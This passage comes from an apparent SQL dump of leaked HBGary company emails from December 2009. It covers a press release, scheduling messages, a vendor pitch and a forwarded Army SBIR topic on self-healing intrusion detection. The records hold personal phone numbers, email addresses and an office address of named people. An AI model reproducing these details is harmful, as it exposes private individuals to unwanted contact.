government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.&nbsp; As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.&nbsp; HBGary Federal will set the standard for building and\r\n integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. \r\n&nbsp; \r\nFor more information on HBGary Federal, please visit http://www.hbgary.com. You can also contact Mr. Barr at aaron@hbgary.com or Mr. Vera at ted@hbgary.com. \r\n&nbsp; \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United\r\n States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.&nbsp; Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.&nbsp; He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. \r\n&nbsp; \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system security engineer and program manager. &nbsp;He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures. &nbsp; Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado\r\n Technical University. \r\n&nbsp; \r\n&nbsp; \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com. \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com&nbsp; &lt;HBGary Federal Talking Points.doc&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',13267,'aaron_hbgary_com/13267.html'),(483,'2009-12-07','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999852.M647406P3547Q483.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Dec 14th','FYI\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Rock, Kirstan \r\nDate: Mon, Dec 7, 2009 at 2:06 PM\r\nSubject: RE: Dec 14th\r\nTo: Penny Leavy \r\n\r\n\r\nPenny - it looks like I will need to leave on the 6:15am flight on the\r\n14th. I\'d hoped to have some time in the office but I\'ve been bitten by\r\nthe end of the year crunch. Please let me know what your January travels\r\nshape up like, so we can try again. Kirstan\r\n\r\n-----Original Message-----\r\nFrom: Penny Leavy [mailto:penny@hbgary.com]\r\nSent: Monday, December 07, 2009 9:16 AM\r\nTo: Rock, Kirstan\r\nSubject: Dec 14th\r\n\r\nAre you going to be able to meet with Aaron Barr on Monday the 14th.\r\nWe\'ll conform to your schedule\r\n\r\nThanks\r\nPenny\r\n\r\n--\r\nPenny C. Leavy\r\nHBGary, Inc.\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',13396,'aaron_hbgary_com/13396.html'),(484,'2009-12-07','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1296999874.M483438P3547Q484.eml','all@hbgary.com','','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTo all,\r\n\r\n&nbsp;\r\n\r\nIt&#8217;s that time of year again.&nbsp; Time to update\r\nyour TASKC 1020 Flex Plan.&nbsp; Attached to this email are forms explaining\r\nthe Flex Plan and the paperwork associated with it.&nbsp; Please take some time\r\nto review this information.&nbsp; If you have any questions, please feel free\r\nto contact DeeAnn or Jeff Bell@onebox.com.&nbsp;\r\nOr by his cell phone 510-912-2355. &nbsp; These forms are due by December 16th,\r\n2009.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4724 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11012,'aaron_hbgary_com/11012.html'),(485,'2009-12-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999875.M602098P3547Q485.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Rental Car','NopeFrom my iPhoneOn Dec 7, 2009, at 12:54 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nDid you reserve a car already? \r\n\r\n\r\n___\r\nTed Vera | COO | HBGary Federal, Inc.\r\nCell Phone 719-237-8623\r\nWebsite:  www.hbgary.com\r\nEmail:  ted@hbgary.com\r\n \r\n',11375,'aaron_hbgary_com/11375.html'),(486,'2009-12-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999875.M792972P3547Q486.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: Qosmos Network Intelligence','Yep that&#39;s my title.  I would like that, just let me know.  This week is shot and early next I will be in Sacramento, but can do late next week?Aaron\r\nFrom my iPhoneOn Dec 7, 2009, at 2:58 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:I have not.  I did want to update you on the House of Representatives though.  I just gave their engineers an overview of Responder Pro.  They like what they see.  I&#39;d love to get you in touch with their CISO Brent Conran.  Is your title CEO HBGary Federal?\r\n\r\nOn Mon, Dec 7, 2009 at 11:24 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nAnyone heard of these guys?AaronFrom my iPhoneBegin forwarded message:From: Aubrey MERCHANT DEST &lt;Aubrey.MERCHANTDEST@qosmos.com&gt;\r\n\r\n\r\nTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: Qosmos Network Intelligence\r\n\r\nAaron,I would like to discuss our capability with you when you have time.  We believe we have a unique solution which can help in attribution.  Our Network Intelligence building block is already part of some activity at Carnegie Mellon University and the solution looks very promising.  I&#39;m not sure you&#39;ve heard of us before but given the opportunity I&#39;d like provide you a proper overview of our capability and business strategy.  I&#39;ve attached a couple documents for you to review.  Please let me know your level of interest and how we may be able to progress this discussion.  Thanks in advance.\r\n\r\n\r\nBest,Aubrey Merchant-DestSr. Consulting Engineer+1.301.528.8301 Office+1.301.351.4905 Cell\r\n\r\n\r\n+1.301.528.8302 FaxAubrey.Merchant@qosmos.com&lt;mailto:Aubrey.merchant@qosmos.com&gt;\r\n\r\n\r\n[cid:image001.gif@01CA7505.66E85970]\r\n\r\n\r\n',1130,'aaron_hbgary_com/1130.html'),(487,'2009-12-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999875.M973416P3547Q487.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: Restaurant','From my iPhoneBegin forwarded message:From: &lt;don@hypervista-tech.com&gt;\r\nDate: December 7, 2009 4:46:50 PM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: Restaurant\r\nhttp://www.busara.com/-------- Original Message --------\r\nSubject: Re: PingFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Date: Fri, December 04, 2009 4:35 pm\r\nTo: Bailey Don &lt;baileyde5@verizon.net&gt;, Don Bailey&lt;don@hypervista-tech.com&gt;\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;Don,Ted told me you guys had a good conversation.  I have to tell you Ted and I have only been at this a week but we are already having the time of our life again, like the old days!  I look forward to seeing you soon.\r\nAaronOn Dec 4, 2009, at 4:30 PM, Ted Vera wrote:Hi Don,\r\nGreat talking with you today. Drop us a line when you want to discuss\r\nthe upcoming opportunity. Got some time next week for a face-to-face\r\nwith Aaron, and possibly Greg?Hope you have a great weekend,\r\nTed\r\n719-237-8623\r\n',13664,'aaron_hbgary_com/13664.html'),(488,'2009-12-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999876.M169814P3547Q488.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Potential SBIR','Hi Greg,Aaron, Bob and I reviewed the SBIR topics for the upcoming round of solicitations.  This one caught our eye.Questions we have:1.  Is this in line with where you want to take the HBGary product-line?\r\n2.  Do we have the resources to execute this if won?If we want to go after this, we should schedule a call with the PM sometime tomorrow.  They will not accept calls after the 9th.\r\nTed\r\nA10-013 TITLE: Intrusion Detection System (IDS) With Automatic Signature Generation for Self Healing\r\nNetworks\r\nTECHNOLOGY AREAS: Information Systems\r\n\r\nThe technology within this topic is restricted under the International Traffic in Arms Regulation (ITAR), which controls the export and import of defense-related material and services. Offerors must disclose any proposed use of foreign nationals, their country of origin, and what tasks each would accomplish in the statement of work in accordance with section 3.5.b.(7) of the solicitation.\r\n\r\nOBJECTIVE: To develop an intrusion detection system (IDS) that can be leveraged to create a self-healing, self-monitoring, self-diagnosing, self-hardening, and self-recovering network architecture after corruption an attack through the automatic generation of signatures for malicious code.\r\n\r\nDESCRIPTION: In today’s world, computer systems have become so complex and interdependent that the original model of system defense, based around a signature-based intrusion detection system (IDS) that requires updating by the software developer for new malicious code signatures is becoming infeasible. Additionally, these signatures are created manually through long hours of disassembling a worm or virus which creates a critical lag time before protection mechanisms can reach the field. The Army needs effective mechanisms to protect vulnerable hosts from being compromised while allowing them to continue providing critical services under aggressively spreading attacks for unknown vulnerabilities. A failure to respond correctly and rapidly can have disastrous consequences. Army systems should automatically detect and respond to threats of all kinds, including but not limited to automated attacks.\r\n\r\nTherefore, the goal of this research is to develop a host intrusion detection system (IDS) that can support a self-healing, self-monitoring, self-diagnosing, self-hardening, and self-recovering network architecture after corruption an attack by automatically creating malicious code signatures to protect against variants of known threats as well as possible zero day attacks. The research under this effort would focus on host-based IDS that can monitor software execution at the instruction level to track what data was derived from untrusted sources, and detect when untrusted data is used in ways that signify that an attack has taken place. Research will have to be conducted for determining trusted versus untrusted resources, but for the initial effort under this topic all processes and data from locally executed programs on the host would be treated as trusted, with all information coming from external sources as untrusted, and tracked regarding where the external data propogates throughout the system (e.g., system calls, assembly code, format strings, etc). This technique should be able to reliably detect a large class of exploit attacks and should not require access to source code of programs running on the host, allowing it to be used on commercial-of-the-shelf software. \r\n\r\nOnce the IDS on the host detects an attack, it should generate a signature which is then distributed to IDS software on other vulnerable hosts over a secure connection. The generation of the new signatures should take into account information such as: what data can be extracted from the system at the point of the attack, what data can be traced back through the system using the point of the attack as a starting point, what data flows through the system were captured at the time of the attack, what information is on the stack or heap currently, what information is in memory, and how closely does this information match to previously known signatures. This will allow for tightly, well-crafted signatures with a low likelihood of false positives or false negatives. The more tightly these signatures can match the exploit the higher the probability of detecting polymorphic worms and viruses becomes. The signature creation algorithm should be able to deal with an adversarial environment where malicious parties may try to mislead the system in the creation of new signatures. \r\n\r\nThe other hosts’ IDS authenticate the source of the new signature, verify the integrity of the signature, verify the correctness of the signature, and use it to self-harden against attacks. Malicious code signatures are created from the exploit itself similar to the way a vaccine is created from a virus and should therefore have a lower chance of triggering false positives.\r\n\r\nPHASE I: \r\n1) Develop a concept for a self healing intrusion detection system technology.\r\n2) Provide design and architecture documents of a prototype tool that demonstrates the feasibility of the concept.\r\n3) Develop prototype that demonstrates the feasibility of the concept\r\nPHASE II:\r\n1) Based on the results from Phase I, refine and extend the design of the intrusion detection system prototype to a fully functioning solution.\r\n2) Provide test and evaluation results demonstrating the ability of the proposed solution to detect, react, and recover from a simulated attack.\r\n\r\nPHASE III: Applicable DoD deployment domains include tactical and sustaining base networks. The DoD will utilize the technology developed under this effort to remain operational during an attack. The automation provided by this technology also allows for a decrease in human management of the network and which allows for that soldier/employee to focus on another critical area of the mission. As a result, the technology will find use in both the DoD and commercial sector.\r\n\r\nREFERENCES:\r\n1. David Brumley, James Newsome, Dawn Song, Hao Wang, Somesh Jha, “Theory and Techniques for Automatic Generation of Vulnerability-Based Signatures”, 2006. http://reports-archive.adm.cs.cmu.edu/anon/2006/CMU-CS-06-108.pdf\r\n\r\n2. David Brumley, James Newsome, Dawn Song, “Sting: An End-to-End Self-Healing System for Defending against InternetWorms”, 2006. http://bitblaze.cs.berkeley.edu/papers/sting-book-chapter-06.pdf\r\n\r\n3. James Newsome, Dawn Song, “Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software”, 2005. http://valgrind.org/docs/newsome2005.pdf\r\n\r\nKEYWORDS: Self healing, Intrusion detection systems (IDS), automatic signature generation, cyber security, cyber protection\r\n\r\nTPOC: Mr. Jonathan Santos\r\nPhone: 732-427-5539Fax: 732-427-4880\r\nEmail: Jonathan.M.Santos@us.army.mil\r\n2nd TPOC: Leonard Pohl\r\nPhone: 732-427-3724\r\nFax: 732-427-4880Email: len.pohl@us.army.mil\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',4150,'aaron_hbgary_com/4150.html'),(489,'2009-12-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999876.M362025P3547Q489.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Potential SBIR','One point of clarification...  We can have an informal Q&amp;A with the PM tomorrow or Wed.  On the 10th the Q&amp;A becomes formal, with all questions and answers published by the Gov&#39;t for all the competitors to see.\r\nTedOn Mon, Dec 7, 2009 at 9:20 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Greg,Aaron, Bob and I reviewed the SBIR topics for the upcoming round of solicitations.  This one caught our eye.Questions we have:1.  Is this in line with where you want to take the HBGary product-line?\r\n\r\n2.  Do we have the resources to execute this if won?If we want to go after this, we should schedule a call with the PM sometime tomorrow.  They will not accept calls after the 9th.\r\n\r\nTed\r\nA10-013 TITLE: Intrusion Detection System (IDS) With Automatic Signature Generation for Self Healing\r\n\r\nNetworks\r\n\r\nTECHNOLOGY AREAS: Information Systems\r\n\r\n\r\nThe technology within this topic is restricted under the International Traffic in Arms Regulation (ITAR), which controls the export and import of defense-related material and services. Offerors must disclose any proposed use of foreign nationals, their country of origin, and what tasks each would accomplish in the statement of work in accordance with section 3.5.b.(7) of the solicitation.\r\n\r\n\r\n\r\nOBJECTIVE: To develop an intrusion detection system (IDS) that can be leveraged to create a self-healing, self-monitoring, self-diagnosing, self-hardening, and self-recovering network architecture after corruption an attack through the automatic generation of signatures for malicious code.\r\n\r\n\r\n\r\nDESCRIPTION: In today’s world, computer systems have become so complex and interdependent that the original model of system defense, based around a signature-based intrusion detection system (IDS) that requires updating by the software developer for new malicious code signatures is becoming infeasible. Additionally, these signatures are created manually through long hours of disassembling a worm or virus which creates a critical lag time before protection mechanisms can reach the field. The Army needs effective mechanisms to protect vulnerable hosts from being compromised while allowing them to continue providing critical services under aggressively spreading attacks for unknown vulnerabilities. A failure to respond correctly and rapidly can have disastrous consequences. Army systems should automatically detect and respond to threats of all kinds, including but not limited to automated attacks.\r\n\r\n\r\n\r\nTherefore, the goal of this research is to develop a host intrusion detection system (IDS) that can support a self-healing, self-monitoring, self-diagnosing, self-hardening, and self-recovering network architecture after corruption an attack by automatically creating malicious code signatures to protect against variants of known threats as well as possible zero day attacks. The research under this effort would focus on host-based IDS that can monitor software execution at the instruction level to track what data was derived from untrusted sources, and detect when untrusted data is used in ways that signify that an attack has taken place. Research will have to be conducted for determining trusted versus untrusted resources, but for the initial effort under this topic all processes and data from locally executed programs on the host would be treated as trusted, with all information coming from external sources as untrusted, and tracked regarding where the external data propogates throughout the system (e.g., system calls, assembly code, format strings, etc). This technique should be able to reliably detect a large class of exploit attacks and should not require access to source code of programs running on the host, allowing it to be used on commercial-of-the-shelf software. \r\n\r\n\r\n\r\nOnce the IDS on the host detects an attack, it should generate a signature which is then distributed to IDS software on other vulnerable hosts over a secure connection. The generation of the new signatures should take into account information such as: what data can be extracted from the system at the point of the attack, what data can be traced back through the system using the point of the attack as a starting point, what data flows through the system were captured at the time of the attack, what information is on the stack or heap currently, what information is in memory, and how closely does this information match to previously known signatures. This will allow for tightly, well-crafted signatures with a low likelihood of false positives or false negatives. The more tightly these signatures can match the exploit the higher the probability of detecting polymorphic worms and viruses becomes. The signature creation algorithm should be able to deal with an adversarial environment where malicious parties may try to mislead the system in the creation of new signatures. \r\n\r\n\r\n\r\nThe other hosts’ IDS authenticate the source of the new signature, verify the integrity of the signature, verify the correctness of the signature, and use it to self-harden against attacks. Malicious code signatures are created from the exploit itself similar to the way a vaccine is created from a virus and should therefore have a lower chance of triggering false positives.\r\n\r\n\r\n\r\nPHASE I: \r\n\r\n1) Develop a concept for a self healing intrusion detection system technology.\r\n\r\n2) Provide design and architecture documents of a prototype tool that demonstrates the feasibility of the concept.\r\n\r\n3) Develop prototype that demonstrates the feasibility of the concept\r\n\r\nPHASE II:\r\n\r\n1) Based on the results from Phase I, refine and extend the design of the intrusion detection system prototype to a fully functioning solution.\r\n\r\n2) Provide test and evaluation results demonstrating the ability of the proposed solution to detect, react, and recover from a simulated attack.\r\n\r\n\r\n\r\nPHASE III: Applicable DoD deployment domains include tactical and sustaining base networks. The DoD will utilize the technology developed under this effort to remain operational during an attack. The automation provided by this technology also allows for a decrease in human management of the network and which allows for that soldier/employee to focus on another critical area of the mission. As a result, the technology will find use in both the DoD and commercial sector.\r\n\r\n\r\n\r\nREFERENCES:\r\n\r\n1. David Brumley, James Newsome, Dawn Song, Hao Wang, Somesh Jha, “Theory and Techniques for Automatic Generation of Vulnerability-Based Signatures”, 2006. http://reports-archive.adm.cs.cmu.edu/anon/2006/CMU-CS-06-108.pdf\r\n\r\n\r\n\r\n2. David Brumley, James Newsome, Dawn Song, “Sting: An End-to-End Self-Healing System for Defending against InternetWorms”, 2006. http://bitblaze.cs.berkeley.edu/papers/sting-book-chapter-06.pdf\r\n\r\n\r\n\r\n3. James Newsome, Dawn Song, “Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software”, 2005. http://valgrind.org/docs/newsome2005.pdf\r\n\r\n\r\n\r\nKEYWORDS: Self healing, Intrusion detection systems (IDS), automatic signature generation, cyber security, cyber protection\r\n\r\n\r\nTPOC: Mr. Jonathan Santos\r\n\r\nPhone: 732-427-5539Fax: 732-427-4880\r\nEmail: Jonathan.M.Santos@us.army.mil\r\n\r\n2nd TPOC: Leonard Pohl\r\n\r\nPhone: 732-427-3724\r\n\r\nFax: 732-427-4880Email: len.pohl@us.army.mil\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',8626,'aaron_hbgary_com/8626.html'),(490,'2009-12-08','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1296999876.M592264P3547Q490.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Qosmos Network Intelligence','Ok I&#39;ll find out.On Mon, Dec 7, 2009 at 9:53 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nYep that&#39;s my title.  I would like that, just let me know.  This week is shot and early next I will be in Sacramento, but can do late next week?Aaron\r\nFrom my iPhoneOn Dec 7, 2009, at 2:58 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nI have not.  I did want to update you on the House of Representatives though.  I just gave their engineers an overview of Responder Pro.  They like what they see.  I&#39;d love to get you in touch with their CISO Brent Conran.  Is your title CEO HBGary Federal?\r\n\r\n\r\nOn Mon, Dec 7, 2009 at 11:24 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nAnyone heard of these guys?AaronFrom my iPhoneBegin forwarded message:From: Aubrey MERCHANT DEST &lt;Aubrey.MERCHANTDEST@qosmos.com&gt;\r\n\r\n\r\n\r\nTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;\r\n\r\nSubject: Qosmos Network Intelligence\r\n\r\nAaron,I would like to discuss our capability with you when you have time.  We believe we have a unique solution which can help in attribution.  Our Network Intelligence building block is already part of some activity at Carnegie Mellon University and the solution looks very promising.  I&#39;m not sure you&#39;ve heard of us before but given the opportunity I&#39;d like provide you a proper overview of our capability and business strategy.  I&#39;ve attached a couple documents for you to review.  Please let me know your level of interest and how we may be able to progress this discussion.  Thanks in advance.\r\n\r\n\r\n\r\nBest,Aubrey Merchant-DestSr. Consulting Engineer+1.301.528.8301 Office+1.301.351.4905 Cell\r\n\r\n\r\n\r\n+1.301.528.8302 FaxAubrey.Merchant@qosmos.com&lt;mailto:Aubrey.merchant@qosmos.com&gt;\r\n\r\n\r\n\r\n[cid:image001.gif@01CA7505.66E85970]\r\n\r\n\r\n\r\n',6316,'aaron_hbgary_com/6316.html'),(491,'2009-12-08','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999876.M793631P3547Q491.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','Re: Potential SBIR','Ted,\r\n \r\nHBGary proper needs to stay 1000 yards away from this one.  It&#39;s ITAR which means anything that touches it gets an export restriction slapped on it.  HBGary Federal can certainly go after it, but any technology from HBGary needs to be legally protected and sublicensed so that no ITAR can touch it.  On the flip side, the SBIR looks exciting because its a host based solution.  If you go after it, keep this in mind - no billable hours can ever be executed from HBGary&#39;s end, its all fed.\r\n\r\n \r\n-Greg\r\nOn Mon, Dec 7, 2009 at 8:23 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nOne point of clarification...  We can have an informal Q&amp;A with the PM tomorrow or Wed.  On the 10th the Q&amp;A becomes formal, with all questions and answers published by the Gov&#39;t for all the competitors to see. \r\n\r\nTed \r\n\r\n\r\n\r\nOn Mon, Dec 7, 2009 at 9:20 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Greg, \r\n\r\nAaron, Bob and I reviewed the SBIR topics for the upcoming round of solicitations.  This one caught our eye.\r\n\r\nQuestions we have:\r\n\r\n1.  Is this in line with where you want to take the HBGary product-line?\r\n2.  Do we have the resources to execute this if won?\r\n\r\nIf we want to go after this, we should schedule a call with the PM sometime tomorrow.  They will not accept calls after the 9th.\r\n\r\nTed\r\n\r\n\r\nA10-013 TITLE: Intrusion Detection System (IDS) With Automatic Signature Generation for Self Healing\r\n\r\nNetworks\r\n\r\n\r\n\r\nTECHNOLOGY AREAS: Information Systems\r\n\r\n\r\n\r\nThe technology within this topic is restricted under the International Traffic in Arms Regulation (ITAR), which controls the export and import of defense-related material and services. Offerors must disclose any proposed use of foreign nationals, their country of origin, and what tasks each would accomplish in the statement of work in accordance with section 3.5.b.(7) of the solicitation.\r\n\r\n\r\n\r\n\r\nOBJECTIVE: To develop an intrusion detection system (IDS) that can be leveraged to create a self-healing, self-monitoring, self-diagnosing, self-hardening, and self-recovering network architecture after corruption an attack through the automatic generation of signatures for malicious code.\r\n\r\n\r\n\r\n\r\nDESCRIPTION: In today’s world, computer systems have become so complex and interdependent that the original model of system defense, based around a signature-based intrusion detection system (IDS) that requires updating by the software developer for new malicious code signatures is becoming infeasible. Additionally, these signatures are created manually through long hours of disassembling a worm or virus which creates a critical lag time before protection mechanisms can reach the field. The Army needs effective mechanisms to protect vulnerable hosts from being compromised while allowing them to continue providing critical services under aggressively spreading attacks for unknown vulnerabilities. A failure to respond correctly and rapidly can have disastrous consequences. Army systems should automatically detect and respond to threats of all kinds, including but not limited to automated attacks.\r\n\r\n\r\n\r\n\r\nTherefore, the goal of this research is to develop a host intrusion detection system (IDS) that can support a self-healing, self-monitoring, self-diagnosing, self-hardening, and self-recovering network architecture after corruption an attack by automatically creating malicious code signatures to protect against variants of known threats as well as possible zero day attacks. The research under this effort would focus on host-based IDS that can monitor software execution at the instruction level to track what data was derived from untrusted sources, and detect when untrusted data is used in ways that signify that an attack has taken place. Research will have to be conducted for determining trusted versus untrusted resources, but for the initial effort under this topic all processes and data from locally executed programs on the host would be treated as trusted, with all information coming from external sources as untrusted, and tracked regarding where the external data propogates throughout the system (e.g., system calls, assembly code, format strings, etc). This technique should be able to reliably detect a large class of exploit attacks and should not require access to source code of programs running on the host, allowing it to be used on commercial-of-the-shelf software. \r\n\r\n\r\n\r\n\r\nOnce the IDS on the host detects an attack, it should generate a signature which is then distributed to IDS software on other vulnerable hosts over a secure connection. The generation of the new signatures should take into account information such as: what data can be extracted from the system at the point of the attack, what data can be traced back through the system using the point of the attack as a starting point, what data flows through the system were captured at the time of the attack, what information is on the stack or heap currently, what information is in memory, and how closely does this information match to previously known signatures. This will allow for tightly, well-crafted signatures with a low likelihood of false positives or false negatives. The more tightly these signatures can match the exploit the higher the probability of detecting polymorphic worms and viruses becomes. The signature creation algorithm should be able to deal with an adversarial environment where malicious parties may try to mislead the system in the creation of new signatures. \r\n\r\n\r\n\r\n\r\nThe other hosts’ IDS authenticate the source of the new signature, verify the integrity of the signature, verify the correctness of the signature, and use it to self-harden against attacks. Malicious code signatures are created from the exploit itself similar to the way a vaccine is created from a virus and should therefore have a lower chance of triggering false positives.\r\n\r\n\r\n\r\n\r\nPHASE I: \r\n\r\n1) Develop a concept for a self healing intrusion detection system technology.\r\n\r\n2) Provide design and architecture documents of a prototype tool that demonstrates the feasibility of the concept.\r\n\r\n3) Develop prototype that demonstrates the feasibility of the concept\r\n\r\n\r\n\r\nPHASE II:\r\n\r\n1) Based on the results from Phase I, refine and extend the design of the intrusion detection system prototype to a fully functioning solution.\r\n\r\n2) Provide test and evaluation results demonstrating the ability of the proposed solution to detect, react, and recover from a simulated attack.\r\n\r\n\r\n\r\nPHASE III: Applicable DoD deployment domains include tactical and sustaining base networks. The DoD will utilize the technology developed under this effort to remain operational during an attack. The automation provided by this technology also allows for a decrease in human management of the network and which allows for that soldier/employee to focus on another critical area of the mission. As a result, the technology will find use in both the DoD and commercial sector.\r\n\r\n\r\n\r\n\r\nREFERENCES:\r\n\r\n1. David Brumley, James Newsome, Dawn Song, Hao Wang, Somesh Jha, “Theory and Techniques for Automatic Generation of Vulnerability-Based Signatures”, 2006. http://reports-archive.adm.cs.cmu.edu/anon/2006/CMU-CS-06-108.pdf\r\n\r\n\r\n\r\n\r\n2. David Brumley, James Newsome, Dawn Song, “Sting: An End-to-End Self-Healing System for Defending against InternetWorms”, 2006. http://bitblaze.cs.berkeley.edu/papers/sting-book-chapter-06.pdf\r\n\r\n\r\n\r\n\r\n3. James Newsome, Dawn Song, “Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software”, 2005. http://valgrind.org/docs/newsome2005.pdf\r\n\r\n\r\n\r\n\r\nKEYWORDS: Self healing, Intrusion detection systems (IDS), automatic signature generation, cyber security, cyber protection\r\n\r\n\r\n\r\nTPOC: Mr. Jonathan Santos\r\n\r\nPhone: 732-427-5539\r\n\r\nFax: 732-427-4880\r\n\r\nEmail: Jonathan.M.Santos@us.army.mil\r\n\r\n2nd TPOC: Leonard Pohl\r\n\r\nPhone: 732-427-3724\r\n\r\nFax: 732-427-4880\r\n\r\nEmail: len.pohl@us.army.mil-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n',11686,'aaron_hbgary_com/11686.html'),(492,'2009-12-08','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999876.M988903P3547Q492.eml','\"Aaron Barr\" <aaron@hbgary.com>','address','Just in case – wanted to make sure you had our address.\r\n\r\nWe’re at:\r\n\r\n2107 Wilson Blvd\r\nSuite 1100\r\nArlington, VA\r\n\r\nJust across the street from the Courthouse Metro station\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',8677,'aaron_hbgary_com/8677.html'),(493,'2009-12-08','\"Aaron 